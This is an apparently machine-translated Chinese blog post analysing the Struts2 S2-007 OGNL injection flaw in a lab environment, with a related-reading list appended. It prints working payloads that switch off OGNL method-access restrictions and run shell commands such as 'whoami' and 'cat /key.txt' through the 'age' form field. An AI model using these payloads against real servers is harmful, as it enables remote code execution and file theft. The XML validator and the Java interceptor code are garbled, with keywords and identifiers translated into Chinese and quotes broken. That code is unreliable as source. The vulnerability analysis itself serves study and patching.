zoukankan      html  css  js  c++  java
  • 【Struts2-命令-代码执行突破分析系列】S2-007

    前言

    继上回S2-001之后,继续分析了S2-007,若有疏漏,还望多多指教。

    进攻环境根据vulhub中的环境修改而来https://github.com/vulhub/vulhub/tree/master/struts2/s2-007

    这回的S2-007和上回的S2-001中断环境地址https://github.com/kingkaki/Struts2-Vulenv

    有学者的师傅可以一起分析下

    进攻信息

    官方漏洞信息页面:https ://cwiki.apache.org/confluence/display/WW/S2-007

    形成原因:

    发生转换错误时,将用户输入评估为OGNL表达式。这允许恶意用户执行任意代码。

    当配置了验证规则,类型转换出错时,进行了错误的字符串拆分,靴子造成了OGNL语句的执行。

    进攻利用

    这里我配置了一个UserAction-validation.xml验证表单

    <?xml version =“ 1.0” encoding =“ UTF-8”?> 
    <!DOCTYPE验证程序PUBLIC 
            “-// OpenSymphony Group // XWork Validator 1.0 // EN” 
            “ http://www.opensymphony.com/xwork/ xwork-validator-1.0.2.dtd“> 
    <validators> 
        <字段 名称= “年龄” > 
            <field-validator  类型= “ int” > 
                <param  名称= “ min” > 1 </ param> 
                <param  name = ” max“ > 150 </ param> 
            </ field-validator> 
        </ field> 
    </ validators>
    

    限制了age的值只能为int,而且长度在1-150之间

    然后在登录界面用户名和邮箱值随意,age部分替换我们的payload

    '+(#application)+'

    在age的值部分,成功有了回显

    命令执行

    ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '
     

    修改whoami部分就可以执行任意命令

    比如 打开根目录下的 key.txt文件:

    ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /key.txt').getInputStream())) + '

    进攻分析

    进攻主要发生在S2-007/web/WEB-INF/lib/xwork-core-2.2.3.jar!/com/opensymphony/xwork2/interceptor/ConversionErrorInterceptor.class:28

    公共 字符串 拦截ActionInvocation  调用引发 异常 { 
        ActionContext  invocationContext  =  调用getInvocationContext (); 
        映射< String Object >  conversionErrors  =  invocationContext getConversionErrors (); 
        ValueStack  stack  =  invocationContext getValueStack (); 
        HashMap < 对象对象>  fakie  = ; 
        迭代器 i $  =  conversionErrors entrySet ()。迭代器();
    
        I $ hasNext ()) { 
            条目< 字符串对象>  条目 =  条目I $ next (); 
            字符串 propertyName  =  字符串条目getKey (); 
            对象 =  条目getValue (); 
            如果 shouldAddError propertyName的)) { 
                字符串 消息 =  XWorkConverter getConversionErrorMessage propertyName stack ); 
                对象 操作 =  调用getAction (); 
                if  ValidationAware的动作 实例 { ValidationAware va = ValidationAware )的动作; va addFieldError propertyName message ); } 
                       
                     
                
    
                如果 fakie  ==  null { 
                    fakie  =  new  HashMap (); 
                }
    
                飞骑propertyName的getOverrideExpr 调用)); 
            } 
        }
    
        if  fakie  !=  null { 
            堆栈getContext ()。put “ original.property.override” fakie ); 
            调用addPreResultListener PreResultListener () { 
                公共 空隙 beforeResult ActionInvocation  调用字符串 发送resultCode { 
                    地图< 对象对象>  飞骑 =  地图调用getInvocationContext ()。get “ original.property.override” ); 
                    如果 fakie  !=  null { 
                        调用getStack ()。setExprOverrides fakie ); 
                    }
    
                } 
            }); 
        }
    
        返回 调用invoke (); 
    }
    

    当类型出现错误的时候,就会进入这个函数

    这里可以Object value = entry.getValue();看到,在中收回了预期的有效载荷

    再来到后面的fakie.put(propertyName, this.getOverrideExpr(invocation, value));

    跟进this.getOverrideExpr(invocation, value);

    受保护的 对象 getOverrideExpr ActionInvocation  调用对象 { 
        return  “'”  +  value  +  “'” ; 
    }
    

    这也就解释了为什么payload的分开要加'++'就是为了闭合这里的分开的引号

    对加入fakie的值值就变成了''+(#xxxx)+''的形式

    进来后面放入了invocation值中,最后调用了invoke()解析OGNL成功代码执行

    进攻修复

    struts2.2.3.1对这个突破进行了修复,修复方法也异常简单,例如sql注入的addslashes,对其中的单引号进行了转义

    getOverrideExpr函数中进行了StringEscape,从而无法封闭单引号,也就无法构造OGNL表达

  • 相关阅读:
    Discuz X 2.5 点点(伪静态)
    jq 、xml 省市级联动
    php memcache 初级使用(2)
    关于windows虚拟内存管理的页目录自映射
    SharePoint 2010 网络上的开发经验和资源
    SharePoint 2010 Reporting Services 报表服务器正在内置 NT AUTHORITY\SYSTEM 账户下运行 解决方法
    SharePoint 2010 Reporting Services 报表服务器无法解密用于访问报表服务器数据库中的敏感数据或加密数据的对称密钥 解决方法
    Active Directory Rights Management Services (AD RMS)无法检索证书层次结构。 解决方法
    SharePoint 2010 Reporting Services 报表服务器实例没有正确配置 解决方法
    SharePoint 2010 页面引用 Reporting Services 展现 List 报表
  • 原文地址:https://www.cnblogs.com/ssan/p/12711765.html
Copyright © 2011-2022 走看看